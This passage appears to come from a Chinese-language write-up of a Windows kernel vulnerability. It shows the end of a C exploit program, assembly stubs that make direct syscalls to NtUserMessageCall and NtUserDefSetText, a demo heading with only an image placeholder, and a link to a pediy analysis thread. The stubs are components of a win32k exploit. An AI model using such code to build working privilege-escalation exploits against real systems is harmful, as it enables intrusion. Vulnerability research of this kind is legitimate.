	}else{
		printf("[!]Error: %d\n", __LINE__ - 3);
	}
    system("pause");
	return 0;
}
_TEXT SEGMENT

EXTERNDEF  g_NtUserDefSetText_syscall:dword
EXTERNDEF  g_NtUserMessageCall_syscall:dword

PUBLIC NtUserMessageCall
NtUserMessageCall PROC
    mov r10, rcx
    mov eax, g_NtUserMessageCall_syscall   
    syscall
    ret
NtUserMessageCall ENDP

NtUserDefSetText PROC
    mov r10, rcx
    mov eax, g_NtUserDefSetText_syscall
    syscall
    ret
NtUserDefSetText ENDP

_TEXT ENDS
END

0x07 演示

在这里插入图片描述

0x08 参考

https://bbs.pediy.com/thread-260268.htm#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90

;